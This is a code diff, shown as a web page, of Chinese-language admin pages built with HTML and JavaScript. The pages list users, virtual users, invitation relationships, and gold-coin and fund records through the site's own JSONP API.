| | | { title: "最近登录", width: "", orderUp: "", orderDown: "" }, |
| | | { title: "最近下单", width: "", orderUp: "", orderDown: "" } |
| | | ] |
| | | }); |
| | | // 工具栏 |
| | |
| | | doui.request({ |
| | | type: "jsonp", |
| | | url: gethttp() + "/admin/new/api/v1/user/saveForbiddenInfo", |
| | | data: { code: item[11].key, type: 3 }, |
| | | data: { code: item[14].key, type: 3 }, |
| | | success: function (res) |
| | | { |
| | | doui.hideLoading(); |
| | |
| | | doui.request({ |
| | | type: "jsonp", |
| | | url: gethttp() + "/admin/new/api/v1/user/saveForbiddenInfo", |
| | | data: { code: item[12].key, type: 1 }, |
| | | data: { code: item[15].key, type: 1 }, |
| | | success: function (res) |
| | | { |
| | | doui.hideLoading(); |
| | |
| | | doui.request({ |
| | | type: "jsonp", |
| | | url: gethttp() + "/admin/new/api/v1/user/saveForbiddenInfo", |
| | | data: { code: item[13].key, type: 2 }, |
| | | data: { code: item[16].key, type: 2 }, |
| | | success: function (res) |
| | | { |
| | | doui.hideLoading(); |
| | |
| | | doui.request({ |
| | | type: "jsonp", |
| | | url: gethttp() + "/admin/new/api/v1/user/saveForbiddenInfo", |
| | | data: { code: item[14].key, type: 4 }, |
| | | data: { code: item[17].key, type: 4 }, |
| | | success: function (res) |
| | | { |
| | | doui.hideLoading(); |
New file |
| | |
| | | <!DOCTYPE html>
|
| | | <html>
|
| | | <head>
|
| | | <meta charset="utf-8">
|
| | | <meta charset="utf-8">
|
| | | <title>虚拟用户</title>
|
| | | <meta name="renderer" content="webkit">
|
| | | <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
|
| | | <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
|
| | | <link rel="stylesheet" type="text/css" href="../../css/doui.min.css" />
|
| | | <script src="../../js/doui.min.js" type="text/javascript" charset="utf-8"></script>
|
| | |
|
| | | <script src="../../js/requestHost.js" type="text/javascript" charset="utf-8"></script>
|
| | | <link rel="stylesheet" type="text/css" href="../../layui/css/layui.css" />
|
| | | <script src="../../layui/layui.all.js" type="text/javascript" charset="utf-8"></script>
|
| | |
|
| | | <script type="text/javascript">
|
| | | doui.importLoad({
|
| | | importArray: [
|
| | | // 雷打不动
|
| | | getHostPath() + "js/jquery.min.js",
|
| | | getHostPath() + "js/vue.min.js",
|
| | | // 字体图标
|
| | | getHostPath() + "fontAdmin/iconfont.css",
|
| | | getHostPath() + "font/iconfont.css",
|
| | | // // dom模板
|
| | | getHostPath() + "css/admin-all.css",
|
| | | getHostPath() + "js/admin-creat.js",
|
| | | ],
|
| | | });
|
| | | </script>
|
| | |
|
| | | <style type="text/css">
|
| | |
|
| | | </style>
|
| | |
|
| | | </head>
|
| | | <body>
|
| | | <div class="layui-tab layui-tab-brief" lay-filter="tabBrief">
|
| | | <ul class="layui-tab-title">
|
| | | <li class="layui-this" lay-id="t1">动态用户</li>
|
| | | <li lay-id="t2">运营用户</li>
|
| | | </ul>
|
| | | <div class="layui-tab-content" style="position: absolute; top: 36px; bottom: 0px; width: 100%; padding: 0px; overflow: hidden;">
|
| | | <div class="layui-tab-item layui-show" style="position: absolute; top: 36px; bottom: 0px; width: 100%; padding: 0px; overflow: hidden;">
|
| | | <iframe tab-id="t1" align="center" width="100%" height="100%" datasrc="dynamic_user.html" frameborder="no" border="0"
|
| | | marginwidth="0" marginheight="0" scrolling="no"></iframe>
|
| | | </div>
|
| | | <div class="layui-tab-item" style="position: absolute; top: 36px; bottom: 0px; width: 100%; padding: 0px; overflow: hidden;">
|
| | | <iframe tab-id="t2" align="center" width="100%" height="100%" datasrc="dynamic_user2.html" frameborder="no" border="0"
|
| | | marginwidth="0" marginheight="0" scrolling="no"></iframe>
|
| | | </div>
|
| | | </div>
|
| | | </div>
|
| | | </body>
|
| | | </html>
|
| | | <script type="text/javascript">
|
| | | layui.use('element', function() {
|
| | | var element = layui.element;
|
| | | element.on('tab(tabBrief)', function() {
|
| | | for (var i = 0; i < $('iframe').length; i++) {
|
| | | var id = this.getAttribute('lay-id');
|
| | | if ($('iframe').eq(i).attr('tab-id') == id) {
|
| | | var src = $('iframe').eq(i).attr("src");
|
| | | if (src == null || src == '' || src.length == 0) {
|
| | | $('iframe').eq(i).attr("src", $('iframe').eq(i).attr("datasrc"));
|
| | | }
|
| | | }
|
| | | };
|
| | | });
|
| | | element.tabChange('tabBrief', "t1");
|
| | | });
|
| | | </script> |
| | |
| | | adminDom.header.change({ |
| | | show: true, |
| | | list: [ |
| | | { key: "1", value: "一级队员" }, |
| | | { key: "2", value: "二级队员" }, |
| | | { key: "1", value: "直接粉丝" }, |
| | | { key: "2", value: "间接粉丝" }, |
| | | { key: "0", value: "上级BOSS" }, |
| | | ], |
| | | }); |
| | |
| | | title: "邀请状态", |
| | | muchCheck: false, // 是否可以多选 |
| | | child: [ |
| | | { key: [0], value: "等待回复", check: false }, |
| | | { key: [1], value: "成功", check: false }, |
| | | { key: [2], value: "失效", check: false }, |
| | | { key: [0], value: "脱离", check: false }, |
| | | ], |
| | | input: { type: "number", num: 0 }, |
| | | },
|
| | | {
|
| | | title: "有效粉丝", |
| | | muchCheck: false, // 是否可以多选
|
| | | child: [
|
| | | { key: [1], value: "是", check: false },
|
| | | { key: [0], value: "否", check: false },
|
| | | ],
|
| | | input: { type: "number", num: 0 },
|
| | | }, |
| | | { |
| | | title: "邀请时间", |
| | |
| | | pageSize: optC.table.pageSize, // 每页数量 |
| | | uid: optC.input[0].result, // 搜索关键字 |
| | | type: optC.change.result, // 顶部选项 |
| | | state: optC.screen[0].result[0], // 邀请状态 |
| | | startTime: optC.screen[1].result[0], // 时间最小 |
| | | endTime: optC.screen[1].result[1]?optC.screen[1].result[1]:'', // 时间最大 |
| | | state: optC.screen[0].result[0], // 邀请状态
|
| | | validState: optC.screen[1].result[0], //有效 |
| | | startTime: optC.screen[2].result[0], // 时间最小
|
| | | endTime: optC.screen[2].result[1]?optC.screen[2].result[1]:'', // 时间最大 |
| | | }, |
| | | success: function (res) |
| | | { |
| | |
| | | var thatTr = { |
| | | check: false, |
| | | td: [ |
| | | { title: "关系ID", key: mo[i].id, value: mo[i].id }, |
| | | { title: "发出邀请人ID", key: mo[i].boss.id, value: mo[i].boss.id }, |
| | | { title: "发出邀请人", key: mo[i].boss.portrait, value: mo[i].boss.portrait, dataType: "img", "class": "admin-imgS" }, |
| | | { title: "邀请时间", key: mo[i].createTime, value: mo[i].createTime }, |
| | | { title: "邀请状态", key: mo[i].expire, value: mo[i].expire }, |
| | | { title: "被邀请人ID", key: mo[i].worker.id, value: mo[i].worker.id }, |
| | | { title: "邀请人头像", key: mo[i].boss.portrait, value: mo[i].boss.portrait, dataType: "img", "class": "admin-imgS" },
|
| | | { title: "被邀请人头像", key: mo[i].worker.portrait, value: mo[i].worker.portrait, dataType: "img", "class": "admin-imgS" }, |
| | | { title: "被邀请人昵称", key: mo[i].worker.nickName, value: mo[i].worker.nickName }, |
| | | { title: "邀请人ID", key: mo[i].boss.id, value: mo[i].boss.id }, |
| | | { title: "被邀请人ID", key: mo[i].worker.id, value: mo[i].worker.id },
|
| | | { title: "被邀请人昵称", key: mo[i].worker.nickName, value: mo[i].worker.nickName },
|
| | | { title: "邀请状态", key: mo[i].state, value: mo[i].state },
|
| | | { title: "有效状态", key: mo[i].validState, value: mo[i].validState },
|
| | | { title: "邀请时间", key: mo[i].createTime, value: mo[i].createTime },
|
| | | ], |
| | | }; |
| | | // 邀请时间 |
| | | if (thatTr.td[3].key) |
| | | if (thatTr.td[7].key) |
| | | { |
| | | doui.timestampToDate({ |
| | | timestamp: thatTr.td[3].key, |
| | | success: function (res) { thatTr.td[3].value = res; } |
| | | timestamp: thatTr.td[7].key, |
| | | success: function (res) { thatTr.td[7].value = res; } |
| | | }); |
| | | } |
| | | // 状态分析 |
| | | if (thatTr.td[4].key == 0) { thatTr.td[4].value = "等待回复"; thatTr.td[4]["class"] = "font-orange"; } |
| | | else if (thatTr.td[4].key == 1) { thatTr.td[4].value = "成功"; thatTr.td[4]["class"] = "font-green"; } |
| | | else if (thatTr.td[4].key == 2) { thatTr.td[4].value = "失效"; thatTr.td[4]["class"] = "font-gray"; } |
| | | }
|
| | | |
| | | if (thatTr.td[5].key) { thatTr.td[5].value = "成功"; thatTr.td[5]["class"] = "font-green"; } |
| | | else { thatTr.td[5].value = "脱离"; thatTr.td[5]["class"] = "font-red"; }
|
| | | |
| | | if (thatTr.td[6].key > 0) { thatTr.td[6].value = "有效"; thatTr.td[6]["class"] = "font-green"; }
|
| | | else { thatTr.td[6].value = "无效"; thatTr.td[6]["class"] = "font-gray"; }
|
| | | |
| | | // 将当前行放入tr组 |
| | | mo_tr.push(thatTr); |
| | | } |
| | |
| | | // 表格头排 |
| | | adminDom.table.thead({ |
| | | th: [ |
| | | { title: "二人关系ID", width: "", orderUp: "", orderDown: "" }, |
| | | { title: "发出邀请人ID", width: "", orderUp: "", orderDown: "" }, |
| | | { title: "发出邀请人头像", width: "", orderUp: "", orderDown: "" }, |
| | | { title: "邀请时间", width: "", orderUp: "", orderDown: "" }, |
| | | { title: "邀请状态", width: "", orderUp: "", orderDown: "" }, |
| | | { title: "被邀请人ID", width: "", orderUp: "", orderDown: "" }, |
| | | { title: "被邀请人头像", width: "", orderUp: "", orderDown: "" }, |
| | | { title: "被邀请人昵称", width: "", orderUp: "", orderDown: "" }, |
| | | { title: "邀请人头像", width: "0.5rem", orderUp: "", orderDown: "" },
|
| | | { title: "被邀请人头像", width: "0.5rem", orderUp: "", orderDown: "" },
|
| | | { title: "邀请人ID", width: "0.5rem", orderUp: "", orderDown: "" }, |
| | | { title: "被邀请人ID", width: "0.5rem", orderUp: "", orderDown: "" },
|
| | | { title: "被邀请人昵称", width: "0.5rem", orderUp: "", orderDown: "" }, |
| | | { title: "邀请状态", width: "0.3rem", orderUp: "", orderDown: "" },
|
| | | { title: "有效状态", width: "0.3rem", orderUp: "", orderDown: "" }, |
| | | { title: "邀请时间", width: "0.5rem", orderUp: "", orderDown: "" },
|
| | | ] |
| | | }); |
| | | // 工具栏 |
| | | adminDom.table.tools({ |
| | | show: true, |
| | | show: false, |
| | | list: [ |
| | | { "title": "删除关系", "name": "del", "icon": "fi fi-trash" }, |
| | | |
| | | ], |
| | | touch: function (back) |
| | | { |
| | | // 修改列表 |
| | | if (back.toolName == "del") |
| | | { |
| | | if (back.list.length > 1) { doui.showToast({ content: "一次只能操作一个" }); return false; } |
| | | // 该行数据 |
| | | var item = back.list[0]; |
| | | // 发起请求 |
| | | doui.showLoading("正在处理"); |
| | | doui.request({ |
| | | type: "jsonp", |
| | | url: gethttp() + "/admin/new/api/v1/user/deleteThreeSale", |
| | | data: { id: item[0].key }, |
| | | success: function (res) |
| | | { |
| | | doui.hideLoading(); |
| | | if (res.code != 0) { doui.showToast({ content: res.msg }); } |
| | | else { doui.showToast("删除成功"); vm_table.search(); } |
| | | } |
| | | }); |
| | | } |
| | | } |
| | | }); |
| | | |
| | |
| | | var thatTr = { |
| | | check: false, |
| | | td: [ |
| | | { title: "头像", key: mo[i].portrait, value: mo[i].portrait, dataType: "img", "class": "admin-imgS" }, |
| | | { title: "ID", key: mo[i].uid, value: mo[i].uid }, |
| | | { title: "昵称", key: mo[i].nickName, value: mo[i].nickName }, |
| | | { title: "头像", key: mo[i].portrait, value: mo[i].portrait, dataType: "img", "class": "admin-imgS" }, |
| | | { title: "金币", key: mo[i].goldCoin, value: mo[i].goldCoin }, |
| | | { title: "金币", key: mo[i].goldCoin, value: mo[i].goldCoin, "class": " font-green" }, |
| | | ], |
| | | }; |
| | | // 将当前行放入tr组 |
| | |
| | | // 表格头排 |
| | | adminDom.table.thead({ |
| | | th: [ |
| | | { title: "ID", width: "", orderUp: "", orderDown: "" }, |
| | | { title: "昵称", width: "", orderUp: "", orderDown: "" }, |
| | | { title: "头像", width: "", orderUp: "", orderDown: "" }, |
| | | { title: "金币", width: "", orderUp: "", orderDown: "" }, |
| | | { title: "头像", width: "0.6rem", orderUp: "", orderDown: "" }, |
| | | { title: "ID", width: "0.6rem", orderUp: "", orderDown: "" }, |
| | | { title: "昵称", width: "0.6rem", orderUp: "", orderDown: "" }, |
| | | { title: "金币", width: "0.6rem", orderUp: "", orderDown: "" }, |
| | | ] |
| | | }); |
| | | // 工具栏 |
| | | adminDom.table.tools({ show: false }); |
| | | |
| | | |
| | | // ----------------------------------------------------- 初始行为 |
| | | // 模拟搜索点击 |
New file |
| | |
| | | <!DOCTYPE html> |
| | | <html> |
| | | <head> |
| | | <meta charset="utf-8" /> |
| | | <meta http-equiv="X-UA-Compatible" content="chrome=1"/> |
| | | <meta name="viewport" content="width=device-width,initial-scale=1,minimum-scale=1,maximum-scale=1,user-scalable=no"/> |
| | | <title>金币记录</title> |
| | | <link rel="stylesheet" type="text/css" href="../../css/doui.min.css"/> |
| | | <script src="../../js/doui.min.js" type="text/javascript" charset="utf-8"></script> |
| | | <script src="../../js/requestHost.js" type="text/javascript" charset="utf-8"></script> |
| | | <script type="text/javascript"> |
| | | doui.importLoad({ |
| | | importArray: [ |
| | | // 雷打不动 |
| | | getHostPath() + "js/jquery.min.js", |
| | | getHostPath() + "js/vue.min.js", |
| | | // 字体图标 |
| | | getHostPath() + "fontAdmin/iconfont.css", |
| | | getHostPath() + "font/iconfont.css", |
| | | // dom模板 |
| | | getHostPath() + "css/admin-all.css", |
| | | getHostPath() + "js/admin-creat.js", |
| | | ], |
| | | }); |
| | | </script>
|
| | | <style>
|
| | | .admin-table-tr {
|
| | | min-height: 0.1rem;
|
| | | }
|
| | | </style>
|
| | | |
| | | </head> |
| | | <body class="fontPC"> |
| | | <div class="winSizeBox"> |
| | | |
| | | <!-- =============================================================== 搜索筛选(顶部) --> |
| | | <div id="thisHeader" style="width:7.5rem;"></div> |
| | | |
| | | <!-- =============================================================== 表格 --> |
| | | <div id="thisTable" class="admin-main-overHeader"></div> |
| | | |
| | | </div> |
| | | </body> |
| | | </html> |
| | | |
| | | |
| | | <script type="text/javascript"> |
| | | |
| | | // ==================================================================================== 页面数据 |
| | | doui.onReady({ |
| | | success: function () |
| | | { |
| | | // ----------------------------------------------------- 顶部 |
| | | // 生成顶部筛选项dom |
| | | adminDom.header.creat({ el: "#thisHeader" }); |
| | | |
| | | // 输入搜索 |
| | | adminDom.header.input({ placeholder: "输入用户ID", }) |
| | | |
| | | // ----------------------------------------------------- 表格 |
| | | // 表格dom创建 |
| | | adminDom.table.creat({ |
| | | el: "#thisTable", |
| | | // 搜索触发 |
| | | touchSearch: function (optC) |
| | | { |
| | | doui.showLoading({ content: "加载列表" }); |
| | | doui.request({ |
| | | type: "jsonp", |
| | | url: gethttp() + "/admin/new/api/v1/user/getGoldCoinRecord", |
| | | data: { |
| | | pageIndex: optC.table.page, // 页码 |
| | | pageSize: optC.table.pageSize, // 每页数量 |
| | | key: optC.input[0].result, // 搜索关键字 |
| | | }, |
| | | success: function (res) |
| | | { |
| | | doui.hideLoading(); |
| | | if (res.code != 0) { doui.showToast({ content: res.msg }); } |
| | | else |
| | | { |
| | | var mo_tr = []; // tr组 |
| | | for (var i = 0, mo = res.data.list; i < mo.length; i++) |
| | | { |
| | | // 当前行 |
| | | var thatTr = { |
| | | check: false, |
| | | td: [ |
| | | { title: "用户头像", key: mo[i].portrait, value: mo[i].portrait, dataType: "img", "class": "admin-imgS"}, |
| | | { title: "用户昵称", key: mo[i].nickName, value: mo[i].nickName },
|
| | | { title: "用户ID", key: mo[i].uid, value: mo[i].uid }, |
| | | { title: "金币数", key: mo[i].money, value: mo[i].money, "class": " font-green" },
|
| | | { title: "创建时间", key: mo[i].createTime, value: mo[i].createTime }, |
| | | { title: "标题", key: mo[i].title, value: mo[i].title },
|
| | | { title: "说明", key: mo[i].descInfo, value: mo[i].descInfo },
|
| | | { title: "备注", key: mo[i].remark, value: mo[i].remark },
|
| | | ], |
| | | }; |
| | | // 将当前行放入tr组 |
| | | mo_tr.push(thatTr); |
| | | } |
| | | // 更新表格的数据 |
| | | adminDom.table.opt({ pageMax: res.data.pe.totalPage }); // 最大页码 |
| | | adminDom.table.tbody({ tr: mo_tr }); // 内容数据 |
| | | } |
| | | } |
| | | }); |
| | | }, |
| | | }); |
| | | // 表格设置 |
| | | adminDom.table.opt({ pageSize: 20, showCheck: false, }); |
| | | // 表格头排 |
| | | adminDom.table.thead({ |
| | | th: [ |
| | | { title: "用户头像", width: "", orderUp: "", orderDown: "" },
|
| | | { title: "用户昵称", width: "", orderUp: "", orderDown: "" },
|
| | | { title: "用户ID", width: "", orderUp: "", orderDown: "" }, |
| | | { title: "金币数", width: "", orderUp: "", orderDown: "" },
|
| | | { title: "创建时间", width: "", orderUp: "", orderDown: "" }, |
| | | { title: "标题", width: "", orderUp: "", orderDown: "" },
|
| | | { title: "说明", width: "", orderUp: "", orderDown: "" },
|
| | | { title: "备注", width: "", orderUp: "", orderDown: "" },
|
| | | ] |
| | | }); |
| | | // 工具栏 |
| | | adminDom.table.tools({ show: false }); |
| | | |
| | | // ----------------------------------------------------- 初始行为 |
| | | // 模拟搜索点击 |
| | | vm_table.search(); |
| | | } |
| | | }); |
| | | |
| | | </script> |
New file |
| | |
| | | <!DOCTYPE html> |
| | | <html> |
| | | <head> |
| | | <meta charset="utf-8" /> |
| | | <meta http-equiv="X-UA-Compatible" content="chrome=1"/> |
| | | <meta name="viewport" content="width=device-width,initial-scale=1,minimum-scale=1,maximum-scale=1,user-scalable=no"/> |
| | | <title>资金记录</title> |
| | | <link rel="stylesheet" type="text/css" href="../../css/doui.min.css"/> |
| | | <script src="../../js/doui.min.js" type="text/javascript" charset="utf-8"></script> |
| | | <script src="../../js/requestHost.js" type="text/javascript" charset="utf-8"></script> |
| | | <script type="text/javascript"> |
| | | doui.importLoad({ |
| | | importArray: [ |
| | | // 雷打不动 |
| | | getHostPath() + "js/jquery.min.js", |
| | | getHostPath() + "js/vue.min.js", |
| | | // 字体图标 |
| | | getHostPath() + "fontAdmin/iconfont.css", |
| | | getHostPath() + "font/iconfont.css", |
| | | // dom模板 |
| | | getHostPath() + "css/admin-all.css", |
| | | getHostPath() + "js/admin-creat.js", |
| | | ], |
| | | }); |
| | | </script>
|
| | | <style>
|
| | | .admin-table-tr {
|
| | | min-height: 0.1rem;
|
| | | }
|
| | | </style>
|
| | | |
| | | </head> |
| | | <body class="fontPC"> |
| | | <div class="winSizeBox"> |
| | | |
| | | <!-- =============================================================== 搜索筛选(顶部) --> |
| | | <div id="thisHeader" style="width:7.5rem;"></div> |
| | | |
| | | <!-- =============================================================== 表格 --> |
| | | <div id="thisTable" class="admin-main-overHeader"></div> |
| | | |
| | | </div> |
| | | </body> |
| | | </html> |
| | | |
| | | |
| | | <script type="text/javascript"> |
| | | |
| | | // ==================================================================================== 页面数据 |
| | | doui.onReady({ |
| | | success: function () |
| | | { |
| | | // ----------------------------------------------------- 顶部 |
| | | // 生成顶部筛选项dom |
| | | adminDom.header.creat({ el: "#thisHeader" }); |
| | | |
| | | // 输入类型
|
| | | adminDom.header.select({
|
| | | show: true,
|
| | | list: [
|
| | | { key: "2", value: "模糊" },
|
| | | { key: "1", value: "精确" },
|
| | | ],
|
| | | }); |
| | | adminDom.header.input({ placeholder: "输入用户id", }) |
| | | |
| | | // ----------------------------------------------------- 表格 |
| | | // 表格dom创建 |
| | | adminDom.table.creat({ |
| | | el: "#thisTable", |
| | | // 搜索触发 |
| | | touchSearch: function (optC) |
| | | { |
| | | doui.showLoading({ content: "加载列表" }); |
| | | doui.request({ |
| | | type: "jsonp", |
| | | url: gethttp() + "/admin/new/api/v1/user/getMoneyDetails", |
| | | data: { |
| | | pageIndex: optC.table.page, // 页码 |
| | | pageSize: optC.table.pageSize, // 每页数量
|
| | | keyType: optC.select.result, // 搜索类型 |
| | | key: optC.input[0].result, // 搜索关键字 |
| | | }, |
| | | success: function (res) |
| | | { |
| | | doui.hideLoading(); |
| | | if (res.code != 0) { doui.showToast({ content: res.msg }); } |
| | | else |
| | | { |
| | | var mo_tr = []; // tr组 |
| | | for (var i = 0, mo = res.data.result_list; i < mo.length; i++) |
| | | { |
| | | // 当前行 |
| | | var thatTr = { |
| | | check: false, |
| | | td: [
|
| | | { title: "头像", key: mo[i].userInfo.portrait, value: mo[i].userInfo.portrait, dataType: "img", "class": "admin-imgS"}, |
| | | { title: "昵称", key: mo[i].userInfo.nickName, value: mo[i].userInfo.nickName }, |
| | | { title: "用户ID", key: mo[i].userInfo.id, value: mo[i].userInfo.id },
|
| | | { title: "金额", key: mo[i].money, value: mo[i].money},
|
| | | { title: "类型", key: mo[i].type, value: mo[i].type},
|
| | | { title: "创建时间", key: mo[i].createTime, value: mo[i].createTime }, |
| | | { title: "标题", key: mo[i].title, value: mo[i].title },
|
| | | { title: "说明", key: mo[i].subTitle, value: mo[i].subTitle },
|
| | | { title: "备注", key: mo[i].remark, value: mo[i].remark },
|
| | | { title: "记录ID", key: mo[i].id, value: mo[i].id },
|
| | | ], |
| | | }; |
| | | // 将当前行放入tr组 |
| | | mo_tr.push(thatTr); |
| | | } |
| | | // 更新表格的数据 |
| | | adminDom.table.opt({ pageMax: res.data.pe.totalPage }); // 最大页码 |
| | | adminDom.table.tbody({ tr: mo_tr }); // 内容数据 |
| | | } |
| | | } |
| | | }); |
| | | }, |
| | | }); |
| | | // 表格设置 |
| | | adminDom.table.opt({ pageSize: 20, showCheck: false, }); |
| | | // 表格头排 |
| | | adminDom.table.thead({ |
| | | th: [ |
| | | { title: "头像", width: "0.4rem", orderUp: "", orderDown: "" }, |
| | | { title: "昵称", width: "0.6rem", orderUp: "", orderDown: "" },
|
| | | { title: "用户ID", width: "0.4rem", orderUp: "", orderDown: "" }, |
| | | { title: "金额", width: "0.4rem", orderUp: "", orderDown: "" },
|
| | | { title: "类型", width: "0.4rem", orderUp: "", orderDown: "" },
|
| | | { title: "创建时间", width: "0.6rem", orderUp: "", orderDown: "" }, |
| | | { title: "标题", width: "0.4rem", orderUp: "", orderDown: "" },
|
| | | { title: "说明", width: "0.4rem", orderUp: "", orderDown: "" },
|
| | | { title: "备注", width: "0.4rem", orderUp: "", orderDown: "" },
|
| | | { title: "记录ID", width: "0.4rem", orderUp: "", orderDown: "" },
|
| | | ] |
| | | }); |
| | | // 工具栏 |
| | | adminDom.table.tools({ show: false }); |
| | | |
| | | // ----------------------------------------------------- 初始行为 |
| | | // 模拟搜索点击 |
| | | vm_table.search(); |
| | | } |
| | | }); |
| | | |
| | | </script> |
| | |
| | | input: { type: "number", num: 0 }, |
| | | }, |
| | | { |
| | | title: "用户等级", |
| | | title: "账户等级", |
| | | muchCheck: false, // 是否可以多选 |
| | | child: [ |
| | | { key: [1], value: "青铜", check: false }, |
| | |
| | | { key: [4], value: "铂金", check: false }, |
| | | ], |
| | | input: { type: "number", num: 0 }, |
| | | },
|
| | | {
|
| | | title: "邀请码状态", |
| | | muchCheck: false, // 是否可以多选
|
| | | child: [
|
| | | { key: [1], value: "已激活", check: false },
|
| | | { key: [0], value: "未激活", check: false },
|
| | | ],
|
| | | input: { type: "number", num: 0 },
|
| | | },
|
| | | {
|
| | | title: "用户等级", |
| | | muchCheck: false, // 是否可以多选
|
| | | child: [
|
| | | { key: ["daRen"], value: "快省达人", check: false },
|
| | | { key: ["normalVIP"], value: "普通会员", check: false },
|
| | | { key: ["highVIP"], value: "高级会员", check: false },
|
| | | { key: ["superVIP"], value: "超级会员", check: false },
|
| | | { key: ["tearcher"], value: "资深导师", check: false },
|
| | | ],
|
| | | input: { type: "number", num: 0 },
|
| | | }, |
| | | { |
| | | title: "用户注册时间", |
| | |
| | | keyType: optC.select.result, |
| | | orderMode: optC.table.order, // 排序 |
| | | userType:optC.screen[0].result[0], |
| | | rank: optC.screen[1].result[0], // 只看哪种用户 |
| | | startTime: optC.screen[2].result[0], // 时间最小 |
| | | endTime: optC.screen[2].result[1]?optC.screen[2].result[1]:'', // 时间最大 |
| | | rank: optC.screen[1].result[0], // 只看哪种用户
|
| | | |
| | | activeCode: optC.screen[2].result[0], // 激活状态
|
| | | level: optC.screen[3].result[0], // 会员状态
|
| | | |
| | | startTime: optC.screen[4].result[0], // 时间最小 |
| | | endTime: optC.screen[4].result[1]?optC.screen[4].result[1]:'', // 时间最大 |
| | | }, |
| | | success: function (res) |
| | | { |
| | |
| | | // 当前行 |
| | | var thatTr = { |
| | | check: false, |
| | | td: [ |
| | | { title: "用户状态", key: mo[i].state, value: mo[i].state }, |
| | | { title: "用户等级", key: mo[i].rankId, value: mo[i].rankPicture, dataType: "img", style: "width:90px;height:34px;" }, |
| | | td: [
|
| | | { title: "头像", key: mo[i].portrait, value: mo[i].portrait, dataType: "img", "class": "admin-imgS"},
|
| | | { title: "昵称", key: mo[i].nickName, value: mo[i].nickName },
|
| | | { title: "ID", key: mo[i].id, value: mo[i].id}, |
| | | { title: "头像", key: mo[i].portrait, value: mo[i].portrait, dataType: "img", "class": "admin-imgS"}, |
| | | { title: "昵称", key: mo[i].nickName, value: mo[i].nickName }, |
| | | { title: "用户当前余额", key: mo[i].myHongBao, value: "¥"+mo[i].myHongBao }, |
| | | { title: "用户状态", key: mo[i].state, value: mo[i].state }, |
| | | { title: "用户等级", key: mo[i].rankId, value: mo[i].rankPicture, dataType: "img", style: "width:90px;height:34px;" },
|
| | | { title: "会员等级", key: mo[i].userLevel, value: mo[i].userLevel},
|
| | | { title: "激活状态", key: mo[i].inviteCode, value: mo[i].inviteCode}, |
| | | { title: "用户余额", key: mo[i].myHongBao, value: "¥"+mo[i].myHongBao }, |
| | | { title: "累计提现", key: mo[i].totalExtract, value: "¥"+mo[i].totalExtract }, |
| | | { title: "未到账收益", key: mo[i].unaccountedMoney, value: "¥"+mo[i].unaccountedMoney }, |
| | | { title: "本月订单", key: mo[i].monthOrder, value: mo[i].monthOrder }, |
| | |
| | | { title: "标识", key: mo[i].mark, value: mo[i].mark }, |
| | | ], |
| | | }; |
| | | // 状态分析 |
| | | if (thatTr.td[0].key == 0) { thatTr.td[0].value = "正常"; thatTr.td[0]["class"] = "font-green"; } |
| | | else if (thatTr.td[0].key == 1) { thatTr.td[0].value = "删除"; thatTr.td[0]["class"] = "font-gray"; } |
| | | else if (thatTr.td[0].key == 2) { thatTr.td[0].value = "封禁"; thatTr.td[0]["class"] = "font-red"; } |
| | | else if (thatTr.td[0].key == 4) { thatTr.td[0].value = "长久未登录删除"; thatTr.td[0]["class"] = "font-gray"; } |
| | | // 状态分析
|
| | | var state = 3; |
| | | if (thatTr.td[state].key == 0) { thatTr.td[3].value = "正常"; thatTr.td[state]["class"] = "font-green"; } |
| | | else if (thatTr.td[state].key == 1) { thatTr.td[state].value = "删除"; thatTr.td[state]["class"] = "font-gray"; } |
| | | else if (thatTr.td[state].key == 2) { thatTr.td[state].value = "封禁"; thatTr.td[state]["class"] = "font-red"; } |
| | | else if (thatTr.td[state].key == 4) { thatTr.td[state].value = "长久未登录删除"; thatTr.td[state]["class"] = "font-gray"; } |
| | | |
| | | if(mo[i].type==1) |
| | | { |
| | | thatTr.td[4].value =thatTr.td[4].value+"(虚拟用户)"; thatTr.td[4]["class"] = "font-red"; |
| | | thatTr.td[6].value =thatTr.td[6].value+"(虚拟用户)"; thatTr.td[4]["class"] = "font-red"; |
| | | } |
| | | // 注册时间 |
| | | if (thatTr.td[17].key) |
| | | { |
| | | doui.timestampToDate({ |
| | | timestamp: thatTr.td[17].key, |
| | | success: function (res) { thatTr.td[17].value = res; } |
| | | }); |
| | | } |
| | | // 登录时间 |
| | | if (thatTr.td[18].key) |
| | | { |
| | | doui.timestampToDate({ |
| | | timestamp: thatTr.td[18].key, |
| | | success: function (res) { thatTr.td[18].value = res; } |
| | | }); |
| | | } |
| | | // 最近下单时间 |
| | | if (thatTr.td[19].key) |
| | | { |
| | | doui.timestampToDate({ |
| | | timestamp: thatTr.td[19].key, |
| | | success: function (res) { thatTr.td[19].value = res; } |
| | | }); |
| | | } |
| | | // 登录时间 |
| | | if (thatTr.td[20].key) |
| | | { |
| | | doui.timestampToDate({ |
| | | timestamp: thatTr.td[20].key, |
| | | success: function (res) { thatTr.td[20].value = res; } |
| | | }); |
| | | } |
| | | // 最近下单时间 |
| | | if (thatTr.td[21].key) |
| | | { |
| | | doui.timestampToDate({ |
| | | timestamp: thatTr.td[21].key, |
| | | success: function (res) { thatTr.td[21].value = res; } |
| | | }); |
| | | } |
| | | // 将当前行放入tr组 |
| | |
| | | }); |
| | | // 表格头排 |
| | | adminDom.table.thead({ |
| | | th: [ |
| | | th: [
|
| | | { title: "用户头像", width: "0.5rem", orderUp: "", orderDown: "" },
|
| | | { title: "用户昵称", width: "0.5rem", orderUp: "", orderDown: "" },
|
| | | { title: "ID", width: "0.5rem", orderUp: "", orderDown: "" }, |
| | | { |
| | | title: "用户状态", width: "0.7rem", orderUp: "", orderDown: "", |
| | | title: "用户状态", width: "0.5rem", orderUp: "", orderDown: "", |
| | | edit: { |
| | | type: "toggle", |
| | | list: [ |
| | |
| | | ], |
| | | }, |
| | | }, |
| | | { title: "用户等级", width: "", orderUp: "", orderDown: "" }, |
| | | { title: "ID", width: "", orderUp: "", orderDown: "" }, |
| | | { title: "用户头像", width: "", orderUp: "", orderDown: "" }, |
| | | { title: "用户昵称", width: "", orderUp: "", orderDown: "" }, |
| | | { title: "账户当前余额", width: "", orderUp: "", orderDown: "" }, |
| | | { title: "累计提现", width: "", orderUp: "", orderDown: "" }, |
| | | { title: "未到账收益", width: "", orderUp: "", orderDown: "" }, |
| | | { title: "本月订单数量", width: "", orderUp: "3", orderDown: "4" }, |
| | | { title: "累计订单数量", width: "", orderUp: "1", orderDown: "2" }, |
